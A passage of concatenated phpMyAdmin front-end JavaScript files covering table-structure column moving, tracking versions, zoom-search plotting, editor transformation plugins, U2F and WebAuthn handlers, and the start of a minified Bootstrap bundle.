'move_columns[]', type: 'hidden' }) .val(colName); columns[columns.length] = $('
          • ') .addClass('placeholderDrag') .text(colName) .append(hiddenInput); }); var colList = $('#move_columns_dialog').find('ul') .find('li').remove().end(); for (var i in columns) { colList.append(columns[i]); } colList.sortable({ axis: 'y', containment: $('#move_columns_dialog').find('div'), tolerance: 'pointer' }).disableSelection(); var $form = $('#move_columns_dialog').find('form'); $form.data('serialized-unmoved', $form.serialize()); const designerModalPreviewModal = document.getElementById('designerModalPreviewModal'); designerModalPreviewModal.addEventListener('shown.bs.modal', () => { const modalBody = designerModalPreviewModal.querySelector('.modal-body'); const $form = $('#move_column_form'); const formUrl = $form.attr('action'); const sep = CommonParams.get('arg_separator'); const formData = $form.serialize() + sep + 'preview_sql=1' + sep + 'ajax_request=1'; $.post({ url: formUrl, data: formData, success: response => { if (! response.success) { modalBody.innerHTML = ''; return; } modalBody.innerHTML = response.sql_data; Functions.highlightSql($('#designerModalPreviewModal')); }, error: () => { modalBody.innerHTML = ''; } }); }); designerModalPreviewModal.addEventListener('hidden.bs.modal', () => { designerModalPreviewModal.querySelector('.modal-body').innerHTML = '
            ' + '' + Messages.strLoading + '
            '; }); $('#moveColumnsModal').modal('show'); $('#designerModalGoButton').off('click');// Unregister previous modals $('#designerModalGoButton').on('click', function () { event.preventDefault(); var $msgbox = Functions.ajaxShowMessage(); var $this = $('#moveColumnsModal'); var $form = $this.find('form'); var serialized = $form.serialize(); // check if any columns were moved at all $('#moveColumnsModal').modal('hide'); if (serialized === $form.data('serialized-unmoved')) { Functions.ajaxRemoveMessage($msgbox); return; } $.post($form.prop('action'), serialized + CommonParams.get('arg_separator') + 'ajax_request=true', function (data) { if (data.success === false) { Functions.ajaxRemoveMessage($msgbox); var errorModal = $('#moveColumnsErrorModal'); errorModal.modal('show'); errorModal.find('.modal-body').first().html(data.error); } else { // sort the fields table var $fieldsTable = $('table#tablestructure tbody'); // remove all existing rows and remember them var $rows = $fieldsTable.find('tr').remove(); // loop through the correct order for (var i in data.columns) { var theColumn = data.columns[i]; var $theRow = $rows .find('input:checkbox[value=\'' + theColumn + '\']') .closest('tr'); // append the row for this column to the table $fieldsTable.append($theRow); } var $firstrow = $fieldsTable.find('tr').eq(0); // Adjust the row numbers and colors for (var $row = $firstrow; $row.length > 0; $row = $row.next()) { $row .find('td').eq(1) .text($row.index() + 1) .end() .removeClass('odd even') .addClass($row.index() % 2 === 0 ? 'odd' : 'even'); } Functions.ajaxShowMessage(data.message); } }); }); }); /** * Handles multi submits in table structure page such as change, browse, drop, primary etc. */ $('body').on('click', '#fieldsForm button.mult_submit', function (e) { e.preventDefault(); var $form = $(this).parents('form'); var argsep = CommonParams.get('arg_separator'); var submitData = $form.serialize() + argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true'; Functions.ajaxShowMessage(); AJAX.source = $form; $.post(this.formAction, submitData, AJAX.responseHandler); }); /** * Handles clicks on Action links in partition table */ $(document).on('click', 'a[id^=partition_action].ajax', function (e) { e.preventDefault(); var $link = $(this); function submitPartitionAction (url) { var params = 'ajax_request=true&ajax_page_request=true&' + $link.getPostData(); Functions.ajaxShowMessage(); AJAX.source = $link; $.post(url, params, AJAX.responseHandler); } if ($link.is('#partition_action_DROP')) { $link.confirm(Messages.strDropPartitionWarning, $link.attr('href'), function (url) { submitPartitionAction(url); }); } else if ($link.is('#partition_action_TRUNCATE')) { $link.confirm(Messages.strTruncatePartitionWarning, $link.attr('href'), function (url) { submitPartitionAction(url); }); } else { submitPartitionAction($link.attr('href')); } }); /** * Handles remove partitioning */ $(document).on('click', '#remove_partitioning.ajax', function (e) { e.preventDefault(); var $link = $(this); var question = Messages.strRemovePartitioningWarning; $link.confirm(question, $link.attr('href'), function (url) { var params = Functions.getJsConfirmCommonParam({ 'ajax_request' : true, 'ajax_page_request' : true }, $link.getPostData()); Functions.ajaxShowMessage(); AJAX.source = $link; $.post(url, params, AJAX.responseHandler); }); }); $(document).on('change', 'select[name=after_field]', function () { checkFirst(); }); }); src/table/tracking.js000066600000007625151724472060010610 0ustar00/** * Unbind all event handlers before tearing down the page */ AJAX.registerTeardown('table/tracking.js', function () { $('body').off('click', '#versionsForm.ajax button[name="submit_mult"], #versionsForm.ajax input[name="submit_mult"]'); $('body').off('click', 'a.delete_version_anchor.ajax'); $('body').off('click', 'a.delete_entry_anchor.ajax'); }); /** * Bind event handlers */ AJAX.registerOnload('table/tracking.js', function () { $('#versions tr').first().find('th').append($('
            ')); $('#versions').tablesorter({ sortList: [[1, 0]], headers: { 0: { sorter: false }, 1: { sorter: 'integer' }, 5: { sorter: false }, 6: { sorter: false } } }); if ($('#ddl_versions tbody tr').length > 0) { $('#ddl_versions tr').first().find('th').append($('
            ')); $('#ddl_versions').tablesorter({ sortList: [[0, 0]], headers: { 0: { sorter: 'integer' }, 3: { sorter: false }, 4: { sorter: false } } }); } if ($('#dml_versions tbody tr').length > 0) { $('#dml_versions tr').first().find('th').append($('
            ')); $('#dml_versions').tablesorter({ sortList: [[0, 0]], headers: { 0: { sorter: 'integer' }, 3: { sorter: false }, 4: { sorter: false } } }); } /** * Handles multi submit for tracking versions */ $('body').on('click', '#versionsForm.ajax button[name="submit_mult"], #versionsForm.ajax input[name="submit_mult"]', function (e) { e.preventDefault(); var $button = $(this); var $form = $button.parent('form'); var argsep = CommonParams.get('arg_separator'); var submitData = $form.serialize() + argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true' + argsep + 'submit_mult=' + $button.val(); if ($button.val() === 'delete_version') { var question = Messages.strDeleteTrackingVersionMultiple; $button.confirm(question, $form.attr('action'), function (url) { Functions.ajaxShowMessage(); AJAX.source = $form; $.post(url, submitData, AJAX.responseHandler); }); } else { Functions.ajaxShowMessage(); AJAX.source = $form; $.post($form.attr('action'), submitData, AJAX.responseHandler); } }); /** * Ajax Event handler for 'Delete version' */ $('body').on('click', 'a.delete_version_anchor.ajax', function (e) { e.preventDefault(); var $anchor = $(this); var question = Messages.strDeleteTrackingVersion; $anchor.confirm(question, $anchor.attr('href'), function (url) { Functions.ajaxShowMessage(); AJAX.source = $anchor; var argSep = CommonParams.get('arg_separator'); var params = Functions.getJsConfirmCommonParam(this, $anchor.getPostData()); params += argSep + 'ajax_page_request=1'; $.post(url, params, AJAX.responseHandler); }); }); /** * Ajax Event handler for 'Delete tracking report entry' */ $('body').on('click', 'a.delete_entry_anchor.ajax', function (e) { e.preventDefault(); var $anchor = $(this); var question = Messages.strDeletingTrackingEntry; $anchor.confirm(question, $anchor.attr('href'), function (url) { Functions.ajaxShowMessage(); AJAX.source = $anchor; var argSep = CommonParams.get('arg_separator'); var params = Functions.getJsConfirmCommonParam(this, $anchor.getPostData()); params += argSep + 'ajax_page_request=1'; $.post(url, params, AJAX.responseHandler); }); }); }); src/table/zoom_plot_jqplot.js000066600000053243151724472060012416 0ustar00// TODO: change the axis /** * @fileoverview JavaScript functions used on /table/search * * @requires jQuery * @requires js/functions.js **/ /* global changeValueFieldType, verifyAfterSearchFieldChange */ // js/table/change.js /** * Display Help/Info * @return {false} **/ function displayHelp () { var modal = $('#helpModal'); modal.modal('show'); modal.find('.modal-body').first().html(Messages.strDisplayHelp); $('#helpModalLabel').first().html(Messages.strHelpTitle); return false; } /** * Extend the array object for max function * @param {number[]} array * @return {int} **/ Array.max = function (array) { return Math.max.apply(Math, array); }; /** * Extend the array object for min function * @param {number[]} array * @return {int} **/ Array.min = function (array) { return Math.min.apply(Math, array); }; /** * Checks if a string contains only numeric value * @param {string} n (to be checked) * @return {bool} **/ function isNumeric (n) { return !isNaN(parseFloat(n)) && isFinite(n); } /** ** Checks if an object is empty * @param {object} obj (to be checked) * @return {bool} **/ function isEmpty (obj) { var name; for (name in obj) { return false; } return true; } /** * Converts a date/time into timestamp * @param {string} val Date * @param {string} type Field type(datetime/timestamp/time/date) * @return {any} A value **/ function getTimeStamp (val, type) { if (type.toString().search(/datetime/i) !== -1 || type.toString().search(/timestamp/i) !== -1 ) { return $.datepicker.parseDateTime('yy-mm-dd', 'HH:mm:ss', val); } else if (type.toString().search(/time/i) !== -1) { return $.datepicker.parseDateTime('yy-mm-dd', 'HH:mm:ss', '1970-01-01 ' + val); } else if (type.toString().search(/date/i) !== -1) { return $.datepicker.parseDate('yy-mm-dd', val); } } /** * Classifies the field type into numeric,timeseries or text * @param {object} field field type (as in database structure) * @return {'text'|'numeric'|'time'} **/ function getType (field) { if (field.toString().search(/int/i) !== -1 || field.toString().search(/decimal/i) !== -1 || field.toString().search(/year/i) !== -1 ) { return 'numeric'; } else if (field.toString().search(/time/i) !== -1 || field.toString().search(/date/i) !== -1 ) { return 'time'; } else { return 'text'; } } /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('table/zoom_plot_jqplot.js', function () { $('#tableid_0').off('change'); $('#tableid_1').off('change'); $('#tableid_2').off('change'); $('#tableid_3').off('change'); $('#inputFormSubmitId').off('click'); $('#togglesearchformlink').off('click'); $(document).off('keydown', '#dataDisplay :input'); $('button.button-reset').off('click'); $('div#resizer').off('resizestop'); $('div#querychart').off('jqplotDataClick'); }); AJAX.registerOnload('table/zoom_plot_jqplot.js', function () { var currentChart = null; var searchedDataKey = null; var xLabel = $('#tableid_0').val(); var yLabel = $('#tableid_1').val(); // will be updated via Ajax var xType = $('#types_0').val(); var yType = $('#types_1').val(); var dataLabel = $('#dataLabel').val(); // Get query result var searchedData; try { searchedData = JSON.parse($('#querydata').html()); } catch (err) { searchedData = null; } // adding event listener on select after AJAX request var comparisonOperatorOnChange = function () { var tableRows = $('#inputSection select.column-operator'); $.each(tableRows, function (index, item) { $(item).on('change', function () { changeValueFieldType(this, index); verifyAfterSearchFieldChange(index, '#zoom_search_form'); }); }); }; /** ** Input form submit on field change **/ // first column choice corresponds to the X axis $('#tableid_0').on('change', function () { // AJAX request for field type, collation, operators, and value field $.post('index.php?route=/table/zoom-search', { 'ajax_request' : true, 'change_tbl_info' : true, 'server' : CommonParams.get('server'), 'db' : CommonParams.get('db'), 'table' : CommonParams.get('table'), 'field' : $('#tableid_0').val(), 'it' : 0 }, function (data) { $('#tableFieldsId').find('tr').eq(1).find('td').eq(0).html(data.field_type); $('#tableFieldsId').find('tr').eq(1).find('td').eq(1).html(data.field_collation); $('#tableFieldsId').find('tr').eq(1).find('td').eq(2).html(data.field_operators); $('#tableFieldsId').find('tr').eq(1).find('td').eq(3).html(data.field_value); xLabel = $('#tableid_0').val(); $('#types_0').val(data.field_type); xType = data.field_type; $('#collations_0').val(data.field_collations); comparisonOperatorOnChange(); Functions.addDateTimePicker(); }); }); // second column choice corresponds to the Y axis $('#tableid_1').on('change', function () { // AJAX request for field type, collation, operators, and value field $.post('index.php?route=/table/zoom-search', { 'ajax_request' : true, 'change_tbl_info' : true, 'server' : CommonParams.get('server'), 'db' : CommonParams.get('db'), 'table' : CommonParams.get('table'), 'field' : $('#tableid_1').val(), 'it' : 1 }, function (data) { $('#tableFieldsId').find('tr').eq(2).find('td').eq(0).html(data.field_type); $('#tableFieldsId').find('tr').eq(2).find('td').eq(1).html(data.field_collation); $('#tableFieldsId').find('tr').eq(2).find('td').eq(2).html(data.field_operators); $('#tableFieldsId').find('tr').eq(2).find('td').eq(3).html(data.field_value); yLabel = $('#tableid_1').val(); $('#types_1').val(data.field_type); yType = data.field_type; $('#collations_1').val(data.field_collations); comparisonOperatorOnChange(); Functions.addDateTimePicker(); }); }); $('#tableid_2').on('change', function () { // AJAX request for field type, collation, operators, and value field $.post('index.php?route=/table/zoom-search', { 'ajax_request' : true, 'change_tbl_info' : true, 'server' : CommonParams.get('server'), 'db' : CommonParams.get('db'), 'table' : CommonParams.get('table'), 'field' : $('#tableid_2').val(), 'it' : 2 }, function (data) { $('#tableFieldsId').find('tr').eq(4).find('td').eq(0).html(data.field_type); $('#tableFieldsId').find('tr').eq(4).find('td').eq(1).html(data.field_collation); $('#tableFieldsId').find('tr').eq(4).find('td').eq(2).html(data.field_operators); $('#tableFieldsId').find('tr').eq(4).find('td').eq(3).html(data.field_value); $('#types_2').val(data.field_type); $('#collations_2').val(data.field_collations); comparisonOperatorOnChange(); Functions.addDateTimePicker(); }); }); $('#tableid_3').on('change', function () { // AJAX request for field type, collation, operators, and value field $.post('index.php?route=/table/zoom-search', { 'ajax_request' : true, 'change_tbl_info' : true, 'server' : CommonParams.get('server'), 'db' : CommonParams.get('db'), 'table' : CommonParams.get('table'), 'field' : $('#tableid_3').val(), 'it' : 3 }, function (data) { $('#tableFieldsId').find('tr').eq(5).find('td').eq(0).html(data.field_type); $('#tableFieldsId').find('tr').eq(5).find('td').eq(1).html(data.field_collation); $('#tableFieldsId').find('tr').eq(5).find('td').eq(2).html(data.field_operators); $('#tableFieldsId').find('tr').eq(5).find('td').eq(3).html(data.field_value); $('#types_3').val(data.field_type); $('#collations_3').val(data.field_collations); comparisonOperatorOnChange(); Functions.addDateTimePicker(); }); }); /** * Input form validation **/ $('#inputFormSubmitId').on('click', function () { if ($('#tableid_0').get(0).selectedIndex === 0 || $('#tableid_1').get(0).selectedIndex === 0) { Functions.ajaxShowMessage(Messages.strInputNull); } else if (xLabel === yLabel) { Functions.ajaxShowMessage(Messages.strSameInputs); } }); /** ** Prepare a div containing a link, otherwise it's incorrectly displayed ** after a couple of clicks **/ $('
            ') .insertAfter('#zoom_search_form') // don't show it until we have results on-screen .hide(); $('#togglesearchformlink') .html(Messages.strShowSearchCriteria) .on('click', function () { var $link = $(this); $('#zoom_search_form').slideToggle(); if ($link.text() === Messages.strHideSearchCriteria) { $link.text(Messages.strShowSearchCriteria); } else { $link.text(Messages.strHideSearchCriteria); } // avoid default click action return false; }); /** * Handle saving of a row in the editor */ var dataPointSave = function () { // Find changed values by comparing form values with selectedRow Object var newValues = {};// Stores the values changed from original var sqlTypes = {}; var it = 0; var xChange = false; var yChange = false; var key; var tempGetVal = function () { return $(this).val(); }; for (key in selectedRow) { var oldVal = selectedRow[key]; var newVal = ($('#edit_fields_null_id_' + it).prop('checked')) ? null : $('#edit_fieldID_' + it).val(); if (newVal instanceof Array) { // when the column is of type SET newVal = $('#edit_fieldID_' + it).map(tempGetVal).get().join(','); } if (oldVal !== newVal) { selectedRow[key] = newVal; newValues[key] = newVal; if (key === xLabel) { xChange = true; searchedData[searchedDataKey][xLabel] = newVal; } else if (key === yLabel) { yChange = true; searchedData[searchedDataKey][yLabel] = newVal; } } var $input = $('#edit_fieldID_' + it); if ($input.hasClass('bit')) { sqlTypes[key] = 'bit'; } else { sqlTypes[key] = null; } it++; } // End data update // Update the chart series and replot if (xChange || yChange) { // Logic similar to plot generation, replot only if xAxis changes or yAxis changes. // Code includes a lot of checks so as to replot only when necessary if (xChange) { xCord[searchedDataKey] = selectedRow[xLabel]; // [searchedDataKey][0] contains the x value if (xType === 'numeric') { series[0][searchedDataKey][0] = selectedRow[xLabel]; } else if (xType === 'time') { series[0][searchedDataKey][0] = getTimeStamp(selectedRow[xLabel], $('#types_0').val()); } else { series[0][searchedDataKey][0] = ''; // TODO: text values } currentChart.series[0].data = series[0]; // TODO: axis changing currentChart.replot(); } if (yChange) { yCord[searchedDataKey] = selectedRow[yLabel]; // [searchedDataKey][1] contains the y value if (yType === 'numeric') { series[0][searchedDataKey][1] = selectedRow[yLabel]; } else if (yType === 'time') { series[0][searchedDataKey][1] = getTimeStamp(selectedRow[yLabel], $('#types_1').val()); } else { series[0][searchedDataKey][1] = ''; // TODO: text values } currentChart.series[0].data = series[0]; // TODO: axis changing currentChart.replot(); } } // End plot update // Generate SQL query for update if (!isEmpty(newValues)) { var sqlQuery = 'UPDATE `' + CommonParams.get('table') + '` SET '; for (key in newValues) { sqlQuery += '`' + key + '`='; var value = newValues[key]; // null if (value === null) { sqlQuery += 'NULL, '; // empty } else if (value.trim() === '') { sqlQuery += '\'\', '; // other } else { // type explicitly identified if (sqlTypes[key] !== null) { if (sqlTypes[key] === 'bit') { sqlQuery += 'b\'' + value + '\', '; } // type not explicitly identified } else { if (!isNumeric(value)) { sqlQuery += '\'' + value + '\', '; } else { sqlQuery += value + ', '; } } } } // remove two extraneous characters ', ' sqlQuery = sqlQuery.substring(0, sqlQuery.length - 2); sqlQuery += ' WHERE ' + Sql.urlDecode(searchedData[searchedDataKey].where_clause); $.post('index.php?route=/sql', { 'server' : CommonParams.get('server'), 'db' : CommonParams.get('db'), 'ajax_request' : true, 'sql_query' : sqlQuery, 'inline_edit' : false }, function (data) { if (typeof data !== 'undefined' && data.success === true) { $('#sqlqueryresultsouter').html(data.sql_query); Functions.highlightSql($('#sqlqueryresultsouter')); } else { Functions.ajaxShowMessage(data.error, false); } }); // End $.post }// End database update }; $('#dataPointSaveButton').on('click', function () { dataPointSave(); }); $('#dataPointModalLabel').first().html(Messages.strDataPointContent); /** * Attach Ajax event handlers for input fields * in the dialog. Used to submit the Ajax * request when the ENTER key is pressed. */ $(document).on('keydown', '#dataDisplay :input', function (e) { if (e.which === 13) { // 13 is the ENTER key e.preventDefault(); if (typeof dataPointSave === 'function') { dataPointSave(); } } }); /* * Generate plot using jqplot */ if (searchedData !== null) { $('#zoom_search_form') .slideToggle() .hide(); $('#togglesearchformlink') .text(Messages.strShowSearchCriteria); $('#togglesearchformdiv').show(); var selectedRow; var series = []; var xCord = []; var yCord = []; var xVal; var yVal; var format; var options = { series: [ // for a scatter plot { showLine: false } ], grid: { drawBorder: false, shadow: false, background: 'rgba(0,0,0,0)' }, axes: { xaxis: { label: $('#tableid_0').val(), labelRenderer: $.jqplot.CanvasAxisLabelRenderer }, yaxis: { label: $('#tableid_1').val(), labelRenderer: $.jqplot.CanvasAxisLabelRenderer } }, highlighter: { show: true, tooltipAxes: 'y', yvalues: 2, // hide the first y value formatString: '%s%s' }, cursor: { show: true, zoom: true, showTooltip: false } }; // If data label is not set, do not show tooltips if (dataLabel === '') { options.highlighter.show = false; } // Classify types as either numeric,time,text xType = getType(xType); yType = getType(yType); // could have multiple series but we'll have just one series[0] = []; if (xType === 'time') { var originalXType = $('#types_0').val(); if (originalXType === 'date') { format = '%Y-%m-%d'; } // TODO: does not seem to work // else if (originalXType === 'time') { // format = '%H:%M'; // } else { // format = '%Y-%m-%d %H:%M'; // } $.extend(options.axes.xaxis, { renderer: $.jqplot.DateAxisRenderer, tickOptions: { formatString: format } }); } if (yType === 'time') { var originalYType = $('#types_1').val(); if (originalYType === 'date') { format = '%Y-%m-%d'; } $.extend(options.axes.yaxis, { renderer: $.jqplot.DateAxisRenderer, tickOptions: { formatString: format } }); } $.each(searchedData, function (key, value) { if (xType === 'numeric') { xVal = parseFloat(value[xLabel]); } if (xType === 'time') { xVal = getTimeStamp(value[xLabel], originalXType); } if (yType === 'numeric') { yVal = parseFloat(value[yLabel]); } if (yType === 'time') { yVal = getTimeStamp(value[yLabel], originalYType); } series[0].push([ xVal, yVal, // extra Y values value[dataLabel], // for highlighter // (may set an undefined value) value.where_clause, // for click on point key, // key from searchedData value.where_clause_sign ]); }); // under IE 8, the initial display is mangled; after a manual // resizing, it's ok // under IE 9, everything is fine currentChart = $.jqplot('querychart', series, options); currentChart.resetZoom(); $('button.button-reset').on('click', function (event) { event.preventDefault(); currentChart.resetZoom(); }); $('div#resizer').resizable(); $('div#resizer').on('resizestop', function () { // make room so that the handle will still appear $('div#querychart').height($('div#resizer').height() * 0.96); $('div#querychart').width($('div#resizer').width() * 0.96); currentChart.replot({ resetAxes: true }); }); $('div#querychart').on('jqplotDataClick', function (event, seriesIndex, pointIndex, data) { searchedDataKey = data[4]; // key from searchedData (global) var fieldId = 0; var postParams = { 'ajax_request' : true, 'get_data_row' : true, 'server' : CommonParams.get('server'), 'db' : CommonParams.get('db'), 'table' : CommonParams.get('table'), 'where_clause' : data[3], 'where_clause_sign' : data[5] }; $.post('index.php?route=/table/zoom-search', postParams, function (data) { // Row is contained in data.row_info, // now fill the displayResultForm with row values var key; for (key in data.row_info) { var $field = $('#edit_fieldID_' + fieldId); var $fieldNull = $('#edit_fields_null_id_' + fieldId); if (data.row_info[key] === null) { $fieldNull.prop('checked', true); $field.val(''); } else { $fieldNull.prop('checked', false); if ($field.attr('multiple')) { // when the column is of type SET $field.val(data.row_info[key].split(',')); } else { $field.val(data.row_info[key]); } } fieldId++; } selectedRow = data.row_info; }); $('#dataPointModal').modal('show'); } ); } $('#help_dialog').on('click', function () { displayHelp(); }); }); src/transformations/image_upload.js000066600000001423151724472060013564 0ustar00/** * Image upload transformations plugin js * * @package PhpMyAdmin */ AJAX.registerOnload('transformations/image_upload.js', function () { // Change thumbnail when image file is selected // through file upload dialog $('input.image-upload').on('change', function () { if (this.files && this.files[0]) { var reader = new FileReader(); var $input = $(this); reader.onload = function (e) { $input.prevAll('img').attr('src', e.target.result); }; reader.readAsDataURL(this.files[0]); } }); }); /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('transformations/image_upload.js', function () { $('input.image-upload').off('change'); }); src/transformations/json.js000066600000001164151724472060012111 0ustar00/** * JSON syntax highlighting transformation plugin */ AJAX.registerOnload('transformations/json.js', function () { var $elm = $('#page_content').find('code.json'); $elm.each(function () { var $json = $(this); var $pre = $json.find('pre'); /* We only care about visible elements to avoid double processing */ if ($pre.is(':visible')) { var $highlight = $('
            '); $json.append($highlight); CodeMirror.runMode($json.text(), 'application/json', $highlight[0]); $pre.hide(); } }); }); src/transformations/json_editor.js000066600000000663151724472060013462 0ustar00/** * JSON syntax highlighting transformation plugin * * @package PhpMyAdmin */ AJAX.registerOnload('transformations/json_editor.js', function () { $('textarea.transform_json_editor').each(function () { CodeMirror.fromTextArea(this, { lineNumbers: true, matchBrackets: true, indentUnit: 4, mode: 'application/json', lineWrapping: true }); }); }); src/transformations/sql_editor.js000066600000000424151724472060013303 0ustar00/** * SQL syntax highlighting transformation plugin js * * @package PhpMyAdmin */ AJAX.registerOnload('transformations/sql_editor.js', function () { $('textarea.transform_sql_editor').each(function () { Functions.getSqlEditor($(this), {}, 'both'); }); }); src/transformations/xml.js000066600000001157151724472060011742 0ustar00/** * XML syntax highlighting transformation plugin */ AJAX.registerOnload('transformations/xml.js', function () { var $elm = $('#page_content').find('code.xml'); $elm.each(function () { var $json = $(this); var $pre = $json.find('pre'); /* We only care about visible elements to avoid double processing */ if ($pre.is(':visible')) { var $highlight = $('
            '); $json.append($highlight); CodeMirror.runMode($json.text(), 'application/xml', $highlight[0]); $pre.hide(); } }); }); src/transformations/xml_editor.js000066600000000562151724472060013307 0ustar00/** * XML editor plugin * * @package PhpMyAdmin */ AJAX.registerOnload('transformations/xml_editor.js', function () { $('textarea.transform_xml_editor').each(function () { CodeMirror.fromTextArea(this, { lineNumbers: true, indentUnit: 4, mode: 'application/xml', lineWrapping: true }); }); }); src/u2f.js000066600000006623151724472060006410 0ustar00/* global u2f */ // js/vendor/u2f-api-polyfill.js AJAX.registerOnload('u2f.js', function () { var $inputReg = $('#u2f_registration_response'); if ($inputReg.length > 0) { var $formReg = $inputReg.parents('form'); $formReg.find('input[type=submit]').hide(); setTimeout(function () { // A magic JS function that talks to the USB device. This function will keep polling for the USB device until it finds one. var request = JSON.parse($inputReg.attr('data-request')); u2f.register(request.appId, [request], JSON.parse($inputReg.attr('data-signatures')), function (data) { // Handle returning error data if (data.errorCode && data.errorCode !== 0) { switch (data.errorCode) { case 5: Functions.ajaxShowMessage(Messages.strU2FTimeout, false, 'error'); break; case 4: Functions.ajaxShowMessage(Messages.strU2FErrorRegister, false, 'error'); break; case 3: Functions.ajaxShowMessage(Messages.strU2FInvalidClient, false, 'error'); break; case 2: Functions.ajaxShowMessage(Messages.strU2FBadRequest, false, 'error'); break; default: Functions.ajaxShowMessage(Messages.strU2FUnknown, false, 'error'); break; } return; } // Fill and submit form. $inputReg.val(JSON.stringify(data)); $formReg.trigger('submit'); }); }, 1000); } var $inputAuth = $('#u2f_authentication_response'); if ($inputAuth.length > 0) { var $formAuth = $inputAuth.parents('form'); $formAuth.find('input[type=submit]').hide(); setTimeout(function () { // Magic JavaScript talking to your HID // appid, challenge, authenticateRequests var request = JSON.parse($inputAuth.attr('data-request')); u2f.sign(request[0].appId, request[0].challenge, request, function (data) { // Handle returning error data if (data.errorCode && data.errorCode !== 0) { switch (data.errorCode) { case 5: Functions.ajaxShowMessage(Messages.strU2FTimeout, false, 'error'); break; case 4: Functions.ajaxShowMessage(Messages.strU2FErrorAuthenticate, false, 'error'); break; case 3: Functions.ajaxShowMessage(Messages.strU2FInvalidClient, false, 'error'); break; case 2: Functions.ajaxShowMessage(Messages.strU2FBadRequest, false, 'error'); break; default: Functions.ajaxShowMessage(Messages.strU2FUnknown, false, 'error'); break; } return; } // Fill and submit form. $inputAuth.val(JSON.stringify(data)); $formAuth.trigger('submit'); }); }, 1000); } }); src/webauthn.js000066600000010540151724472060007522 0ustar00/** * @param {ArrayBuffer} buffer * * @return {string} */ const arrayBufferToBase64 = buffer => { const bytes = new Uint8Array(buffer); let string = ''; for (const byte of bytes) { string += String.fromCharCode(byte); } return window.btoa(string); }; /** * @param {string} string * * @return {Uint8Array} */ const base64ToUint8Array = string => { return Uint8Array.from(window.atob(string), char => char.charCodeAt(0)); }; /** * @param {JQuery} $input * * @return {void} */ const handleCreation = $input => { const $form = $input.parents('form'); $form.find('input[type=submit]').hide(); const creationOptionsJson = $input.attr('data-creation-options'); const creationOptions = JSON.parse(creationOptionsJson); const publicKey = creationOptions; publicKey.challenge = base64ToUint8Array(creationOptions.challenge); publicKey.user.id = base64ToUint8Array(creationOptions.user.id); if (creationOptions.excludeCredentials) { const excludedCredentials = []; for (let value of creationOptions.excludeCredentials) { let excludedCredential = value; excludedCredential.id = base64ToUint8Array(value.id); excludedCredentials.push(excludedCredential); } publicKey.excludeCredentials = excludedCredentials; } // eslint-disable-next-line compat/compat navigator.credentials.create({ publicKey: publicKey }) .then((credential) => { const credentialJson = JSON.stringify({ id: credential.id, rawId: arrayBufferToBase64(credential.rawId), type: credential.type, response: { clientDataJSON: arrayBufferToBase64(credential.response.clientDataJSON), attestationObject: arrayBufferToBase64(credential.response.attestationObject), } }); $input.val(credentialJson); $form.trigger('submit'); }) .catch((error) => Functions.ajaxShowMessage(error, false, 'error')); }; /** * @param {JQuery} $input * * @return {void} */ const handleRequest = $input => { const $form = $input.parents('form'); $form.find('input[type=submit]').hide(); const requestOptionsJson = $input.attr('data-request-options'); const requestOptions = JSON.parse(requestOptionsJson); const publicKey = requestOptions; publicKey.challenge = base64ToUint8Array(requestOptions.challenge); if (requestOptions.allowCredentials) { const allowedCredentials = []; for (let value of requestOptions.allowCredentials) { let allowedCredential = value; allowedCredential.id = base64ToUint8Array(value.id); allowedCredentials.push(allowedCredential); } publicKey.allowCredentials = allowedCredentials; } // eslint-disable-next-line compat/compat navigator.credentials.get({ publicKey: publicKey }) .then((credential) => { const credentialJson = JSON.stringify({ id: credential.id, rawId: arrayBufferToBase64(credential.rawId), type: credential.type, response: { authenticatorData: arrayBufferToBase64(credential.response.authenticatorData), clientDataJSON: arrayBufferToBase64(credential.response.clientDataJSON), signature: arrayBufferToBase64(credential.response.signature), userHandle: arrayBufferToBase64(credential.response.userHandle), } }); $input.val(credentialJson); $form.trigger('submit'); }) .catch((error) => Functions.ajaxShowMessage(error, false, 'error')); }; AJAX.registerOnload('webauthn.js', function () { if ( ! navigator.credentials || ! navigator.credentials.create || ! navigator.credentials.get || ! window.PublicKeyCredential ) { Functions.ajaxShowMessage(Messages.webAuthnNotSupported, false, 'error'); return; } const $creationInput = $('#webauthn_creation_response'); if ($creationInput.length > 0) { handleCreation($creationInput); } const $requestInput = $('#webauthn_request_response'); if ($requestInput.length > 0) { handleRequest($requestInput); } }); vendor/bootstrap/bootstrap.bundle.min.js000066600000235044151724472060014507 0ustar00/*! * Bootstrap v5.2.3 (https://getbootstrap.com/) * Copyright 2011-2022 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */ !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t||self).bootstrap=e()}(this,(function(){"use strict";const t="transitionend",e=t=>{let e=t.getAttribute("data-bs-target");if(!e||"#"===e){let i=t.getAttribute("href");if(!i||!i.includes("#")&&!i.startsWith("."))return null;i.includes("#")&&!i.startsWith("#")&&(i=`#${i.split("#")[1]}`),e=i&&"#"!==i?i.trim():null}return e},i=t=>{const i=e(t);return i&&document.querySelector(i)?i:null},n=t=>{const i=e(t);return i?document.querySelector(i):null},s=e=>{e.dispatchEvent(new Event(t))},o=t=>!(!t||"object"!=typeof t)&&(void 0!==t.jquery&&(t=t[0]),void 0!==t.nodeType),r=t=>o(t)?t.jquery?t[0]:t:"string"==typeof t&&t.length>0?document.querySelector(t):null,a=t=>{if(!o(t)||0===t.getClientRects().length)return!1;const e="visible"===getComputedStyle(t).getPropertyValue("visibility"),i=t.closest("details:not([open])");if(!i)return e;if(i!==t){const e=t.closest("summary");if(e&&e.parentNode!==i)return!1;if(null===e)return!1}return e},l=t=>!t||t.nodeType!==Node.ELEMENT_NODE||!!t.classList.contains("disabled")||(void 0!==t.disabled?t.disabled:t.hasAttribute("disabled")&&"false"!==t.getAttribute("disabled")),c=t=>{if(!document.documentElement.attachShadow)return null;if("function"==typeof t.getRootNode){const e=t.getRootNode();return e instanceof ShadowRoot?e:null}return t instanceof ShadowRoot?t:t.parentNode?c(t.parentNode):null},h=()=>{},d=t=>{t.offsetHeight},u=()=>window.jQuery&&!document.body.hasAttribute("data-bs-no-jquery")?window.jQuery:null,f=[],p=()=>"rtl"===document.documentElement.dir,g=t=>{var e;e=()=>{const e=u();if(e){const 